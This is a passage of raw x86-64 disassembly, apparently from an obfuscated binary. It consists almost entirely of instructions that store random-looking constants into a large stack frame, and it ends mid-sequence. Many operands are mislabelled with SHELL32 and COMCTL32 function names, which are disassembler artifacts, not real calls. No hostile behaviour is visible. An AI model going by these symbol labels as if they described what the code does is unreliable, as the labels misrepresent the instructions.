mov byte [rsp + 0x111], 0xa2
movabs rax, 0x735ffd502f37fd
mov qword [rsp + 0x97b0], rax
mov eax, 0x622
mov word [rsp + 0xfe4], ax
mov eax, 0x6d6
mov word [rsp + 0xfe8], ax
mov byte [rsp + 0x112], 0x37
mov eax, 0x7b3
mov word [rsp + 0xfec], ax
movabs rax, 0x7ebce710a2af6e
mov qword [rsp + 0x97b8], rax
movabs rax, 0x73ab196c331c91
mov qword [rsp + 0x97c0], rax
movabs rax, 0x7483e26353103f
mov qword [rsp + 0x97c8], rax
movabs rax, 0x7b4a5b1ceafa93
mov qword [rsp + 0x97d0], rax
mov dword [rsp + 0x5bac], 0xd3c2
mov eax, 0x156
mov word [rsp + 0xff0], ax
mov eax, 0x323
mov word [rsp + 0xff4], ax
movabs rax, 0x71a7bdffbb675c
mov qword [rsp + 0x97d8], rax
mov byte [rsp + 0x113], 0x5a
mov eax, 0x520
mov word [rsp + 0xff8], ax
mov eax, 0x34e
mov word [rsp + 0xffc], ax
mov eax, 0x505
mov word [rsp + 0x1000], ax
mov eax, 0x548
mov word [rsp + 0x1004], ax
mov byte [rsp + 0x114], 0x6a
mov byte [rsp + 0x115], 0x24
mov byte [rsp + 0x116], 0x63
movabs rax, 0x74e6003ee86c06
mov qword [rsp + 0x97e0], rax
movabs rax, 0x7a1252e5cc900e
mov qword [rsp + 0x97e8], rax
mov byte [rsp + 0x117], 0x62
mov eax, 0x9fa
mov word [rsp + 0x1008], ax
mov byte [rsp + 0x118], 0x31
mov dword [rsp + 0x5bb0], 0x4524
mov dword [rsp + 0x5bb4], 0x743f7b32
mov byte [rsp + 0x119], 0x76
mov eax, 0x8b0
mov word [rsp + 0x100c], ax
movabs rax, 0x761c11b6069a2b
mov qword [rsp + 0x97f0], rax
mov byte [rsp + 0x11a], 0x62
mov dword [rsp + 0x5bb8], 0xd9ae
movabs rax, 0x7647310d5ffe24
mov qword [rsp + 0x97f8], rax
mov eax, 0x408
mov word [rsp + 0x1010], ax
mov dword [rsp + 0x5bbc], 0xd6f8
mov dword [rsp + 0x5bc0], 0xf895
mov eax, 0xbf5
mov word [rsp + 0x1014], ax
movabs rax, 0x7284bb923b1b5c
mov qword [rsp + 0x9800], rax
mov dword [rsp + 0x5bc4], 0x52120f49
mov eax, 0xe36
mov word [rsp + 0x1018], ax
mov eax, 0x27f
mov word [rsp + 0x101c], ax
mov dword [rsp + 0x5bc8], 0x9280
movabs rax, 0x77aaf48e3f595a
mov qword [rsp + 0x9808], rax
mov byte [rsp + 0x11b], 0x27
mov byte [rsp + 0x11c], 0x6b
mov byte [rsp + 0x11d], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5bcc], 0xf9bb
mov dword [rsp + 0x5bd0], 0xfe71
mov byte [rsp + 0x11e], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x5bd4], 0xcd5a
mov byte [rsp + 0x11f], 3
mov eax, 0xc47
mov word [rsp + 0x1020], ax
movabs rax, 0x74dc19b3960df4
mov qword [rsp + 0x9810], rax
mov eax, reloc.SHELL32.dll_ILClone
mov word [rsp + 0x1024], ax
mov eax, 0x6d3
mov word [rsp + 0x1028], ax
mov dword [rsp + 0x5bd8], 0xb116
mov byte [rsp + 0x120], 0x23
movabs rax, 0x7a588b02e6994c
mov qword [rsp + 0x9818], rax
movabs rax, 0x7b3088de769806
mov qword [rsp + 0x9820], rax
mov eax, 0x443
mov word [rsp + 0x102c], ax
movabs rax, 0x738646f275e738
mov qword [rsp + 0x9828], rax
movabs rax, 0x7b73b6d561b036
mov qword [rsp + 0x9830], rax
mov eax, 0x6da
mov word [rsp + 0x1030], ax
movabs rax, 0x75f2cd5bed57d6
mov qword [rsp + 0x9838], rax
mov dword [rsp + 0x5bdc], 0x7d55978a
mov byte [rsp + 0x121], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x776ec2947ae23b
mov qword [rsp + 0x9840], rax
mov byte [rsp + 0x122], 1
movabs rax, 0x76caf24f494a82
mov qword [rsp + 0x9848], rax
mov dword [rsp + 0x5be0], 0x7f61b7c9
mov dword [rsp + 0x5be4], 0x7625268a
movabs rax, 0x7dad2ca3de7541
mov qword [rsp + 0x9850], rax
mov eax, 0x271
mov word [rsp + 0x1034], ax
mov byte [rsp + 0x123], PathMakeUniqueName
movabs rax, 0x77f84540b91c9c
mov qword [rsp + 0x9858], rax
mov eax, 0x8f
mov word [rsp + 0x1038], ax
movabs rax, 0x76215e4f3a501f
mov qword [rsp + 0x9860], rax
mov byte [rsp + 0x124], LBItemFromPt
mov dword [rsp + 0x5be8], 0x1e7d3775
mov byte [rsp + 0x125], 0x76
mov eax, 0xda7
mov word [rsp + 0x103c], ax
movabs rax, 0x731a77bb4010a5
mov qword [rsp + 0x9868], rax
mov byte [rsp + 0x126], ILIsParent
movabs rax, 0x708ed9584c2986
mov qword [rsp + 0x9870], rax
movabs rax, 0x704b2325de04fc
mov qword [rsp + 0x9878], rax
movabs rax, 0x7b8fe2884fb26f
mov qword [rsp + 0x9880], rax
movabs rax, 0x7c132e0d0cb773
mov qword [rsp + 0x9888], rax
mov byte [rsp + 0x127], 0x36
mov dword [rsp + 0x5bec], 0xfa3f
mov eax, 0x20a
mov word [rsp + 0x1040], ax
mov dword [rsp + 0x5bf0], 0xd60f
movabs rax, 0x715879e5e9749a
mov qword [rsp + 0x9890], rax
mov dword [rsp + 0x5bf4], 0x3b84
movabs rax, 0x713f1ea7366acd
mov qword [rsp + 0x9898], rax
mov eax, 0x774
mov word [rsp + 0x1044], ax
mov dword [rsp + 0x5bf8], 0x7a3bb95a
mov eax, 0x220
mov word [rsp + 0x1048], ax
movabs rax, 0x75726541647499
mov qword [rsp + 0x98a0], rax
mov byte [rsp + 0x128], SHGetNewLinkInfoW
mov dword [rsp + 0x5bfc], 0xd113
mov byte [rsp + 0x129], 0x66
mov dword [rsp + 0x5c00], 0x5930
mov eax, 0x200
mov word [rsp + 0x104c], ax
mov eax, 0x193
mov word [rsp + 0x1050], ax
mov byte [rsp + 0x12a], 0x37
mov dword [rsp + 0x5c04], 0x24a9b08c
mov dword [rsp + 0x5c08], 0xb5e4292
movabs rax, 0x75d00f7596c803
mov qword [rsp + 0x98a8], rax
mov eax, 0x191
mov word [rsp + 0x1054], ax
mov eax, 0xd79
mov word [rsp + 0x1058], ax
movabs rax, 0x74092afd6861ac
mov qword [rsp + 0x98b0], rax
movabs rax, 0x733cfb5acc0da6
mov qword [rsp + 0x98b8], rax
mov eax, 0xe4c
mov word [rsp + 0x105c], ax
mov byte [rsp + 0x12b], 0x31
movabs rax, 0x751d7e8ef0f093
mov qword [rsp + 0x98c0], rax
movabs rax, 0x79f0e8202b811a
mov qword [rsp + 0x98c8], rax
mov eax, 0x456
mov word [rsp + 0x1060], ax
mov dword [rsp + 0x5c0c], 0x6a948cdb
mov dword [rsp + 0x5c10], 0x19f2
mov eax, 0x320
mov word [rsp + 0x1064], ax
mov eax, 0x89c
mov word [rsp + 0x1068], ax
mov eax, 0x4c7
mov word [rsp + 0x106c], ax
mov dword [rsp + 0x5c14], 0x476a
mov eax, 0x1b2
mov word [rsp + 0x1070], ax
mov dword [rsp + 0x5c18], 0x1d46
mov byte [rsp + 0x12c], 0x5a
mov eax, 0x64c
mov word [rsp + 0x1074], ax
mov byte [rsp + 0x12d], 0x65
movabs rax, 0x780e2832d39f4b
mov qword [rsp + 0x98d0], rax
mov eax, 0x5e8
mov word [rsp + 0x1078], ax
mov dword [rsp + 0x5c1c], 0x101a1718
movabs rax, 0x7a56aa39bf32b1
mov qword [rsp + 0x98d8], rax
mov eax, 0xcd4
mov word [rsp + 0x107c], ax
mov dword [rsp + 0x5c20], 0x16b8
mov dword [rsp + 0x5c24], 0xe288
movabs rax, 0x730f177a7b084d
mov qword [rsp + 0x98e0], rax
mov eax, 0xee
mov word [rsp + 0x1080], ax
mov dword [rsp + 0x5c28], 0x65edb0e1
mov byte [rsp + 0x12e], LBItemFromPt
mov eax, 0x4b5
mov word [rsp + 0x1084], ax
mov byte [rsp + 0x12f], 0x5b
mov byte [rsp + 0x130], 0x42
mov byte [rsp + 0x131], 0x27
mov dword [rsp + 0x5c2c], 0x508e2bbc
mov eax, 0x4c5
mov word [rsp + 0x1088], ax
mov dword [rsp + 0x5c30], 0x4725
mov eax, 0xed1
mov word [rsp + 0x108c], ax
mov dword [rsp + 0x5c34], 0x2541a07
movabs rax, 0x7409bcf21f2da0
mov qword [rsp + 0x98e8], rax
mov dword [rsp + 0x5c38], 0x5ba35b4
movabs rax, 0x76023d48696407
mov qword [rsp + 0x98f0], rax
mov dword [rsp + 0x5c3c], 0xf362
mov eax, 0x3c5
mov word [rsp + 0x1090], ax
mov dword [rsp + 0x5c40], 0x2cbc145d
mov dword [rsp + 0x5c44], 0x3578ef8f
mov eax, 0x455
mov word [rsp + 0x1094], ax
movabs rax, 0x791cfff4481e6e
mov qword [rsp + 0x98f8], rax
mov byte [rsp + 0x132], SHUpdateImageW
mov eax, 0x6d7
mov word [rsp + 0x1098], ax
mov byte [rsp + 0x133], 0x7c
movabs rax, 0x7d9213c2c3f433
mov qword [rsp + 0x9900], rax
movabs rax, 0x788fa28540e114
mov qword [rsp + 0x9908], rax
mov byte [rsp + 0x134], 0x74
mov dword [rsp + 0x5c48], 0x7127fd57
mov eax, 0x148
mov word [rsp + 0x109c], ax
mov eax, 0x2e3
mov word [rsp + 0x10a0], ax
mov eax, 0x3c
mov word [rsp + 0x10a4], ax
mov eax, 0x29f
mov word [rsp + 0x10a8], ax
mov dword [rsp + 0x5c4c], 0x375a
mov byte [rsp + 0x135], 0x65
mov byte [rsp + 0x136], 0x39
mov byte [rsp + 0x137], SHTestTokenMembership
movabs rax, 0x75ef67f8e9db59
mov qword [rsp + 0x9910], rax
movabs rax, 0x75a02da635a6b1
mov qword [rsp + 0x9918], rax
movabs rax, 0x7afe6e7c7d87c5
mov qword [rsp + 0x9920], rax
mov byte [rsp + 0x138], reloc.COMCTL32.dll_MakeDragList
mov byte [rsp + 0x139], 0x4f
movabs rax, 0x77534e5f79dbe1
mov qword [rsp + 0x9928], rax
movabs rax, 0x793fe22aa16c6a
mov qword [rsp + 0x9930], rax
movabs rax, 0x7a5385ef7d196e
mov qword [rsp + 0x9938], rax
mov eax, 0x428
mov word [rsp + 0x10ac], ax
mov eax, 0x7a3
mov word [rsp + 0x10b0], ax
movabs rax, 0x71bba7c7dc89d0
mov qword [rsp + 0x9940], rax
mov dword [rsp + 0x5c50], 0xeb18
mov eax, 0x797
mov word [rsp + 0x10b4], ax
mov byte [rsp + 0x13a], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0x2bd
mov word [rsp + 0x10b8], ax
mov byte [rsp + 0x13b], 1
mov eax, 0x44
mov word [rsp + 0x10bc], ax
mov eax, 5
mov word [rsp + 0x10c0], ax
movabs rax, 0x7c9070fbb9043c
mov qword [rsp + 0x9948], rax
mov eax, 0x981
mov word [rsp + 0x10c4], ax
mov byte [rsp + 0x13c], reloc.SHELL32.dll_ILGetNext
movabs rax, 0x71c4e0418bfdb0
mov qword [rsp + 0x9950], rax
mov eax, 0x15c
mov word [rsp + 0x10c8], ax
mov dword [rsp + 0x5c54], 0xe5c9
mov byte [rsp + 0x13d], 0x70
mov eax, 0x4e1
mov word [rsp + 0x10cc], ax
mov byte [rsp + 0x13e], 0x6b
mov eax, 0xc56
mov word [rsp + 0x10d0], ax
mov eax, 0x4d5
mov word [rsp + 0x10d4], ax
movabs rax, 0x77190e500920fd
mov qword [rsp + 0x9958], rax
mov dword [rsp + 0x5c58], 0xa0af
movabs rax, 0x7cc1f682afd1ce
mov qword [rsp + 0x9960], rax
mov eax, 0x983
mov word [rsp + 0x10d8], ax
movabs rax, 0x70d85d8d6d89a6
mov qword [rsp + 0x9968], rax
movabs rax, 0x7066dd2797189e
mov qword [rsp + 0x9970], rax
mov byte [rsp + 0x13f], 0x1c
mov byte [rsp + 0x140], 0x27
mov byte [rsp + 0x141], reloc.SHELL32.dll_SHTestTokenMembership
movabs rax, 0x7aaf8a4752878a
mov qword [rsp + 0x9978], rax
mov byte [rsp + 0x142], 5
mov eax, 0xd68
mov word [rsp + 0x10dc], ax
mov byte [rsp + 0x143], 0x50
mov eax, 0xc7
mov word [rsp + 0x10e0], ax
mov dword [rsp + 0x5c5c], 0x575afeb3
mov byte [rsp + 0x144], 0x22
mov eax, 0x4d2
mov word [rsp + 0x10e4], ax
mov byte [rsp + 0x145], 0x60
movabs rax, 0x7a3b82b02fd6ea
mov qword [rsp + 0x9980], rax
movabs rax, 0x7ebc0f80529494
mov qword [rsp + 0x9988], rax
mov dword [rsp + 0x5c60], 0xb01c
mov dword [rsp + 0x5c64], 0x6f04
mov byte [rsp + 0x146], 0x6b
movabs rax, 0x73c91bbf5f3b5a
mov qword [rsp + 0x9990], rax
mov dword [rsp + 0x5c68], 0x4360
movabs rax, 0x794ce35627be3f
mov qword [rsp + 0x9998], rax
mov dword [rsp + 0x5c6c], 0xc9f9
movabs rax, 0x7aa9001f772e7f
mov qword [rsp + 0x99a0], rax
mov byte [rsp + 0x147], 0x66
mov eax, 0x98d
mov word [rsp + 0x10e8], ax
mov byte [rsp + 0x148], 1
mov eax, 0xe78
mov word [rsp + 0x10ec], ax
mov dword [rsp + 0x5c70], 0x1358cdea
mov eax, 0xee9
mov word [rsp + 0x10f0], ax
movabs rax, 0x719b30d6e91e6a
mov qword [rsp + 0x99a8], rax
mov dword [rsp + 0x5c74], 0x5736
mov eax, 0x71e
mov word [rsp + 0x10f4], ax
mov eax, 0x3ef
mov word [rsp + 0x10f8], ax
mov dword [rsp + 0x5c78], 0xa0fd
mov eax, 0xb75
mov word [rsp + 0x10fc], ax
movabs rax, 0x7c347d0fb40b8e
mov qword [rsp + 0x99b0], rax
movabs rax, 0x7331d9f53263be
mov qword [rsp + 0x99b8], rax
mov eax, 0x4f3
mov word [rsp + 0x1100], ax
mov byte [rsp + 0x149], 0x3d
movabs rax, 0x7602f8ccabefaf
mov qword [rsp + 0x99c0], rax
mov dword [rsp + 0x5c7c], 0x4d501f75
movabs rax, 0x704425504f9bd8
mov qword [rsp + 0x99c8], rax
mov eax, 0xb74
mov word [rsp + 0x1104], ax
mov dword [rsp + 0x5c80], 0x3b26
mov eax, 0x4b7
mov word [rsp + 0x1108], ax
movabs rax, 0x7b5090f2f8c749
mov qword [rsp + 0x99d0], rax
mov dword [rsp + 0x5c84], 0x4014
mov eax, 0xa47
mov word [rsp + 0x110c], ax
movabs rax, 0x73685d7e4cdd55
mov qword [rsp + 0x99d8], rax
movabs rax, 0x7bfdc654eb8d07
mov qword [rsp + 0x99e0], rax
movabs rax, 0x7a61b64ca6bbaa
mov qword [rsp + 0x99e8], rax
mov dword [rsp + 0x5c88], 0x600a32d3
mov dword [rsp + 0x5c8c], 0x774f8f28
mov eax, 0xb63
mov word [rsp + 0x1110], ax
movabs rax, 0x7c309d439c0fad
mov qword [rsp + 0x99f0], rax
movabs rax, 0x7e63861726a35e
mov qword [rsp + 0x99f8], rax
mov eax, ILGetNext
mov word [rsp + 0x1114], ax
movabs rax, 0x7e1a5e6ca5eaa3
mov qword [rsp + 0x9a00], rax
movabs rax, 0x7098c85dd19fc3
mov qword [rsp + 0x9a08], rax
movabs rax, 0x7499c0c1b6b20e
mov qword [rsp + 0x9a10], rax
mov byte [rsp + 0x14a], 1
mov byte [rsp + 0x14b], 0xfe
mov dword [rsp + 0x5c90], 0x7689
mov eax, 0x5fb
mov word [rsp + 0x1118], ax
mov eax, 0x764
mov word [rsp + 0x111c], ax
mov eax, 0xe1c
mov word [rsp + 0x1120], ax
movabs rax, 0x77d76de20eb2a0
mov qword [rsp + 0x9a18], rax
movabs rax, 0x78d59534b3f367
mov qword [rsp + 0x9a20], rax
mov byte [rsp + 0x14c], 0xd4
mov eax, 0xa17
mov word [rsp + 0x1124], ax
mov dword [rsp + 0x5c94], 0x196d
movabs rax, 0x707e42b9440139
mov qword [rsp + 0x9a28], rax
movabs rax, 0x76189457f858d8
mov qword [rsp + 0x9a30], rax
mov dword [rsp + 0x5c98], 0x78fc1cc8
movabs rax, 0x71846d0c65d15b
mov qword [rsp + 0x9a38], rax
mov eax, 0x3b0
mov word [rsp + 0x1128], ax
movabs rax, 0x711a5be7351aa6
mov qword [rsp + 0x9a40], rax
movabs rax, 0x76f47cfcd9bff4
mov qword [rsp + 0x9a48], rax
mov dword [rsp + 0x5c9c], 0xc34a
mov eax, 0x5f8
mov word [rsp + 0x112c], ax
movabs rax, 0x774431b253626d
mov qword [rsp + 0x9a50], rax
mov eax, 0x106
mov word [rsp + 0x1130], ax
mov eax, 0x276
mov word [rsp + 0x1134], ax
mov eax, 0xac1
mov word [rsp + 0x1138], ax
mov eax, 0x36f
mov word [rsp + 0x113c], ax
movabs rax, 0x7245692d021c41
mov qword [rsp + 0x9a58], rax
mov eax, 0xc16
mov word [rsp + 0x1140], ax
movabs rax, 0x79eec80f105a4f
mov qword [rsp + 0x9a60], rax
movabs rax, 0x7a016e6cee8ae7
mov qword [rsp + 0x9a68], rax
mov byte [rsp + 0x14d], 0x35
movabs rax, 0x7aa517ac71c5d3
mov qword [rsp + 0x9a70], rax
mov dword [rsp + 0x5ca0], 0x4b61bde2
movabs rax, 0x7a785fb5bfeec0
mov qword [rsp + 0x9a78], rax
mov dword [rsp + 0x5ca4], 0x5d3b968f
mov eax, 0xbec
mov word [rsp + 0x1144], ax
mov eax, 0x105
mov word [rsp + 0x1148], ax
movabs rax, 0x76d6e67c3847be
mov qword [rsp + 0x9a80], rax
movabs rax, 0x7b8003d86e7c8b
mov qword [rsp + 0x9a88], rax
mov dword [rsp + 0x5ca8], 0xba62
movabs rax, 0x7add3d77a499e8
mov qword [rsp + 0x9a90], rax
movabs rax, 0x76e6dd78454c93
mov qword [rsp + 0x9a98], rax
mov eax, 0x41a
mov word [rsp + 0x114c], ax
mov eax, 0xb33
mov word [rsp + 0x1150], ax
mov dword [rsp + 0x5cac], 0x6db858db
mov eax, 0x256
mov word [rsp + 0x1154], ax
mov eax, 0xe66
mov word [rsp + 0x1158], ax
movabs rax, 0x77dd4c4c51b79d
mov qword [rsp + 0x9aa0], rax
mov eax, 0xfca
mov word [rsp + 0x115c], ax
movabs rax, 0x7d1f99b6e4524e
mov qword [rsp + 0x9aa8], rax
mov byte [rsp + ILIsParente], 0x14
mov dword [rsp + 0x5cb0], 0xe400
mov eax, 0xdea
mov word [rsp + 0x1160], ax
movabs rax, 0x78f7430936a157
mov qword [rsp + 0x9ab0], rax
mov byte [rsp + 0x14f], 0x22
movabs rax, 0x76855e0dab3832
mov qword [rsp + 0x9ab8], rax
mov eax, 0x3d
mov word [rsp + 0x1164], ax
movabs rax, 0x7759a3955fb661
mov qword [rsp + 0x9ac0], rax
mov eax, 0xcd4
mov word [rsp + 0x1168], ax
mov dword [rsp + 0x5cb4], 0xc29a
movabs rax, 0x7ddb97f0a08251
mov qword [rsp + 0x9ac8], rax
movabs rax, 0x74b76c45c8f636
mov qword [rsp + 0x9ad0], rax
movabs rax, 0x7a2eb0539a5989
mov qword [rsp + 0x9ad8], rax
mov byte [rsp + 0x150], PathMakeUniqueName
mov eax, 0x155
mov word [rsp + 0x116c], ax
movabs rax, 0x747afa5bcc1320
mov qword [rsp + 0x9ae0], rax
mov byte [rsp + 0x151], SHDoDragDrop
mov byte [rsp + 0x152], 0xd5
mov dword [rsp + 0x5cb8], 0x15725f6
mov byte [rsp + 0x153], 0x23
mov dword [rsp + 0x5cbc], 0x678aabf3
mov eax, 0xa99
mov word [rsp + 0x1170], ax
mov eax, 0x7d7
mov word [rsp + 0x1174], ax
mov eax, 0x760
mov word [rsp + 0x1178], ax
mov byte [rsp + 0x154], 0x43
mov dword [rsp + 0x5cc0], 0xfc10
mov byte [rsp + 0x155], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x5cc4], 0x8b5f
mov eax, 0x5cb
mov word [rsp + 0x117c], ax
movabs rax, 0x7bca954d7815bd
mov qword [rsp + 0x9ae8], rax
mov dword [rsp + 0x5cc8], 0x42282ae3
mov dword [rsp + 0x5ccc], 0x7c32
mov dword [rsp + 0x5cd0], 0x7d8d
movabs rax, 0x75045cde2743ca
mov qword [rsp + 0x9af0], rax
mov dword [rsp + 0x5cd4], 0x75ca320f
movabs rax, 0x72c14ed63c83ef
mov qword [rsp + 0x9af8], rax
movabs rax, 0x7ddd00f6f5e3ae
mov qword [rsp + 0x9b00], rax
mov eax, 0x7c
mov word [rsp + 0x1180], ax
mov eax, 0xcf8
mov word [rsp + 0x1184], ax
mov dword [rsp + 0x5cd8], 0x30d89426
movabs rax, 0x71ddeed26dbd1a
mov qword [rsp + 0x9b08], rax
mov byte [rsp + 0x156], 0x40
movabs rax, 0x7da2e861153acf
mov qword [rsp + 0x9b10], rax
movabs rax, 0x7d415a239ac39e
mov qword [rsp + 0x9b18], rax
mov eax, 0xfbe
mov word [rsp + 0x1188], ax
mov byte [rsp + 0x157], SHUpdateImageW
mov byte [rsp + 0x158], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x74463816e27be1
mov qword [rsp + 0x9b20], rax
mov eax, 0x4c6
mov word [rsp + 0x118c], ax
mov dword [rsp + 0x5cdc], 0x33dc78ef
mov eax, 0xb26
mov word [rsp + 0x1190], ax
mov eax, 0xd09
mov word [rsp + 0x1194], ax
mov eax, 0x4e6
mov word [rsp + 0x1198], ax
movabs rax, 0x70b27bebf3ad42
mov qword [rsp + 0x9b28], rax
mov byte [rsp + 0x159], 0x8b
mov eax, 0xab2
mov word [rsp + 0x119c], ax
mov byte [rsp + 0x15a], 0xa
mov dword [rsp + 0x5ce0], 0x1bdd1709
mov dword [rsp + 0x5ce4], 0x4686
mov byte [rsp + 0x15b], 0x41
movabs rax, 0x7dd8671bc9e31b
mov qword [rsp + 0x9b30], rax
mov eax, 0x591
mov word [rsp + 0x11a0], ax
mov dword [rsp + 0x5ce8], 0x1a225eec
movabs rax, 0x7ee0fd5d52380d
mov qword [rsp + 0x9b38], rax
mov dword [rsp + 0x5cec], 0x2d2ab391
movabs rax, 0x73d4841756133c
mov qword [rsp + 0x9b40], rax
movabs rax, 0x79084018421d6c
mov qword [rsp + 0x9b48], rax
mov dword [rsp + 0x5cf0], 0xf246
mov byte [rsp + 0x15c], 0x5c
movabs rax, 0x7cfaee5a6c3ace
mov qword [rsp + 0x9b50], rax
mov byte [rsp + 0x15d], 0x34
movabs rax, 0x79506d350a964b
mov qword [rsp + 0x9b58], rax
movabs rax, 0x7308f1e36c12c7
mov qword [rsp + 0x9b60], rax
mov eax, 0x1a1
mov word [rsp + 0x11a4], ax
mov eax, 0x9b0
mov word [rsp + 0x11a8], ax
mov eax, 0x495
mov word [rsp + 0x11ac], ax
movabs rax, 0x7460220366e1e3
mov qword [rsp + 0x9b68], rax
mov eax, 0x173
mov word [rsp + 0x11b0], ax
mov byte [rsp + 0x15e], reloc.SHELL32.dll_ILClone
movabs rax, 0x772502735cba51
mov qword [rsp + 0x9b70], rax
mov eax, 0x7dc
mov word [rsp + 0x11b4], ax
mov byte [rsp + 0x15f], 0x22
mov eax, 0xe05
mov word [rsp + 0x11b8], ax
mov eax, 0x310
mov word [rsp + 0x11bc], ax
mov dword [rsp + 0x5cf4], 0xb820
movabs rax, 0x723dd3315fcb32
mov qword [rsp + 0x9b78], rax
mov eax, 0x58d
mov word [rsp + 0x11c0], ax
mov eax, 0x3c5
mov word [rsp + 0x11c4], ax
mov dword [rsp + 0x5cf8], 0xc473
mov eax, 0x327
mov word [rsp + 0x11c8], ax
mov dword [rsp + 0x5cfc], 0x404f
movabs rax, 0x7b110df58aa584
mov qword [rsp + 0x9b80], rax
mov eax, 0x5bb
mov word [rsp + 0x11cc], ax
movabs rax, 0x7b017c8d3fd2d5
mov qword [rsp + 0x9b88], rax
mov eax, 0x515
mov word [rsp + 0x11d0], ax
movabs rax, 0x7559159a76f9ac
mov qword [rsp + 0x9b90], rax
movabs rax, 0x7e3414f1ff5dca
mov qword [rsp + 0x9b98], rax
mov eax, 0x17e
mov word [rsp + 0x11d4], ax
movabs rax, 0x74ea96b2b2f749
mov qword [rsp + 0x9ba0], rax
mov eax, 0x1c6
mov word [rsp + 0x11d8], ax
movabs rax, 0x76b5d6cb52f2f3
mov qword [rsp + 0x9ba8], rax
mov byte [rsp + 0x160], 0x40
movabs rax, 0x713bce01608f63
mov qword [rsp + 0x9bb0], rax
movabs rax, 0x760b97634b3236
mov qword [rsp + 0x9bb8], rax
mov eax, 0xc5
mov word [rsp + 0x11dc], ax
movabs rax, 0x76d730cb0bc762
mov qword [rsp + 0x9bc0], rax
movabs rax, 0x71b938f2240049
mov qword [rsp + 0x9bc8], rax
movabs rax, 0x79940b2445940d
mov qword [rsp + 0x9bd0], rax
mov eax, 0xac9
mov word [rsp + 0x11e0], ax
mov eax, 0x595
mov word [rsp + 0x11e4], ax
movabs rax, 0x7e18dc9c78c440
mov qword [rsp + 0x9bd8], rax
mov eax, 0x40
mov word [rsp + 0x11e8], ax
movabs rax, 0x7a360e4e0131cd
mov qword [rsp + 0x9be0], rax
mov eax, 0x5e1
mov word [rsp + 0x11ec], ax
movabs rax, 0x70e84a1e8921c4
mov qword [rsp + 0x9be8], rax
mov dword [rsp + 0x5d00], 0xce4a2de
mov eax, 0x7d9
mov word [rsp + 0x11f0], ax
mov eax, 0xb07
mov word [rsp + 0x11f4], ax
movabs rax, 0x764f4d84889378
mov qword [rsp + 0x9bf0], rax
mov eax, 0x5fd
mov word [rsp + 0x11f8], ax
mov eax, 0x115
mov word [rsp + 0x11fc], ax
mov byte [rsp + 0x161], 0x25
movabs rax, 0x7bf6d474eb316b
mov qword [rsp + 0x9bf8], rax
movabs rax, 0x7eaf754b0aaf91
mov qword [rsp + 0x9c00], rax
mov eax, 0x5c2
mov word [rsp + 0x1200], ax
mov dword [rsp + 0x5d04], 0x9550
mov eax, 0x26e
mov word [rsp + 0x1204], ax
mov eax, 0x5e6
mov word [rsp + 0x1208], ax
mov byte [rsp + 0x162], 0xfb
mov byte [rsp + 0x163], ILSaveToStream
mov eax, 0x6f0
mov word [rsp + 0x120c], ax
mov dword [rsp + 0x5d08], 0xf0b7
mov byte [rsp + 0x164], 0x61
movabs rax, 0x74265f7234e4e6
mov qword [rsp + 0x9c08], rax
mov byte [rsp + 0x165], PathMakeUniqueName
movabs rax, 0x708470fa47cd11
mov qword [rsp + 0x9c10], rax
mov byte [rsp + 0x166], SHDoDragDrop
mov byte [rsp + 0x167], 0x23
mov byte [rsp + 0x168], 0x3b
mov byte [rsp + 0x169], 0x39
mov eax, 0x40c
mov word [rsp + 0x1210], ax
movabs rax, 0x7878669f5b4d6d
mov qword [rsp + 0x9c18], rax
mov eax, 0x942
mov word [rsp + 0x1214], ax
movabs rax, 0x7546148c3d1cf1
mov qword [rsp + 0x9c20], rax
mov eax, 0x29d
mov word [rsp + 0x1218], ax
mov eax, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov word [rsp + 0x121c], ax
mov eax, 0x20c
mov word [rsp + 0x1220], ax
mov dword [rsp + 0x5d0c], 0x9b26
mov byte [rsp + 0x16a], reloc.SHELL32.dll_ILIsEqual
mov byte [rsp + 0x16b], 0x35
mov dword [rsp + 0x5d10], 0xcfa3
movabs rax, 0x79cc99ccd461f5
mov qword [rsp + 0x9c28], rax
movabs rax, 0x78caa56f5bbab3
mov qword [rsp + 0x9c30], rax
mov dword [rsp + 0x5d14], 0x355
mov dword [rsp + 0x5d18], 0x5b57
mov byte [rsp + 0x16c], 1
mov byte [rsp + 0x16d], 0xa0
mov dword [rsp + 0x5d1c], 0xa73f
mov dword [rsp + 0x5d20], 0xfa00
mov eax, 0x5c3
mov word [rsp + 0x1224], ax
mov byte [rsp + 0x16e], 0x74
mov byte [rsp + 0x16f], 0x7d
mov eax, 0x67
mov word [rsp + 0x1228], ax
mov byte [rsp + 0x170], reloc.SHELL32.dll_ILCloneFirst
mov eax, 0xf77
mov word [rsp + 0x122c], ax
mov eax, 0xbe5
mov word [rsp + 0x1230], ax
movabs rax, 0x787775a2643f91
mov qword [rsp + 0x9c38], rax
mov dword [rsp + 0x5d24], 0x4f7e4d2d
mov eax, 0xe6
mov word [rsp + 0x1234], ax
mov eax, 0x4e
mov word [rsp + 0x1238], ax
movabs rax, 0x769a362c42e2c9
mov qword [rsp + 0x9c40], rax
mov dword [rsp + 0x5d28], 0x588407f9
mov byte [rsp + 0x171], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x172], SHDoDragDrop
movabs rax, 0x7121c93b99f60e
mov qword [rsp + 0x9c48], rax
mov eax, 0x4b0
mov word [rsp + 0x123c], ax
mov eax, 0x165
mov word [rsp + 0x1240], ax
mov dword [rsp + 0x5d2c], 0x1a89
movabs rax, 0x7820191c72c1d5
mov qword [rsp + 0x9c50], rax
mov eax, 0x40e
mov word [rsp + 0x1244], ax
mov eax, 0x5c1
mov word [rsp + 0x1248], ax
mov eax, 0x698
mov word [rsp + 0x124c], ax
mov dword [rsp + 0x5d30], 0x2839
movabs rax, 0x7ed3a82a2e511c
mov qword [rsp + 0x9c58], rax
mov byte [rsp + 0x173], 3
movabs rax, 0x74a47aeb5d39d7
mov qword [rsp + 0x9c60], rax
mov eax, 0xf5e
mov word [rsp + 0x1250], ax
mov eax, 0x719
mov word [rsp + 0x1254], ax
movabs rax, 0x7e29c84593b659
mov qword [rsp + 0x9c68], rax
mov byte [rsp + 0x174], 0x9c
mov eax, 0x22b
mov word [rsp + 0x1258], ax
mov byte [rsp + 0x175], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x176], 0x5b
mov eax, 0x391
